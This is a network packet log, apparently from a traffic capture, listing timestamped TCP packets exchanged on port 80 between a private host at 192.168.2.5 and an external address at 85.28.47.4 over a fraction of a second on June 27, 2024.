Jun 27, 2024 19:26:01.434083939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434099913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434113979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434129000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434140921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434144974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434161901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434176922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434178114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434195995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434201956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434202909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434211969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434226990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434228897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434241056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434246063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434262991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434267998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434267998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434278965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434288025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434294939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.434313059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434313059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.434331894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435025930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435041904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435056925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435071945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435081959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435086012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435103893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435103893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435122013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435133934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435133934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435137987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435153961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435158968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435158968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435172081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435179949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435188055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435215950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435215950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435218096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435235023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435242891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435250998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435265064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435265064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435266972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435295105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435312986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.435841084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.435894012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517446995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517467022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517510891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517555952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517570972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517589092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517604113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517618895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517625093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517652035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517652035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517671108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517748117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517762899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517777920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517793894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517795086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.517827988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517827988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.517852068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518037081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518052101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518066883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518083096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518100977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518110037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518110037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518150091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518367052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518383026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518409014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518414974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518424988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518440962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518441916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518456936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518466949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518467903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518477917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518487930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518510103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518532991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518814087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518827915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518843889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518858910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518872023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518872023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518874884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518891096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518893003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518907070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518912077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518923998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518935919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518939018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518954992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518965006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518970966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.518985987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.518986940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519005060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519018888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519037008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519061089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519651890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519668102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519681931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519696951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519711018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519711971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519728899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519733906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519745111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519759893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519759893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519774914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519779921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519792080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519798994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519808054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519825935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519831896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519849062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519851923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519851923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519864082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519870996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519881010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519891977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519897938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.519911051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519931078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.519948959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520603895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520620108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520634890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520649910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520664930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520668983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520668983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520689011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520695925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520695925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520704031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520720959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520723104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520723104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520736933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520749092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520752907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520768881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520775080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520775080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520786047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520795107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520804882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520814896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520822048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520838022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.520839930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520839930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520859003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.520879984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521539927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521557093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521570921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521585941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521600962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521600962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521616936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521622896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521635056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521642923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521651983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521666050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521667004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521683931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521699905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521703005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521716118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521723032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521733046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521744013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521750927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521761894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521768093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.521787882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521807909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.521825075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522470951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522488117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522501945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522516966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522527933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522532940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522548914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522562981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522564888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522581100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522584915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522597075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522603989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522614002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522619963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522630930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522643089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522650003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522664070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522665977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522681952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522689104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522690058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522699118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.522708893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522728920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.522747040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523403883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523420095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523433924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523448944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523463964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523464918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523479939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523483038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523495913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523508072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523514986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523531914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523531914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523547888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523565054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523572922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523572922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523581028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523596048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523597956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523616076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.523624897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523648024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.523668051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.524163008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.524179935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.524200916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.524213076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.524245024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.524245024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606055975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606070995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606087923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606134892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606175900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606184006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606192112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606209993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606220007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606226921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606245995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606245995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606265068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606451988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606470108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606522083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606523037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606549978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606564045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606585026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606599092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606618881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606631041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606631041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606632948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606650114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606661081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606661081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606668949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.606682062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606705904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.606705904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607042074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607055902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607079983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607095957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607100964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607110023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607120991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607126951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607142925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607146978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607147932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607157946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607168913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607173920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607188940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607198954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607214928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607214928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607237101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607469082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607482910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607501030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607527018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607528925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607542038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607559919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607564926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607564926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607575893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607594013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607599974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607599974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607609987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607626915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607642889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.607656002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607656002 CEST	49705	80	192.168.2.5	85.28.47.4
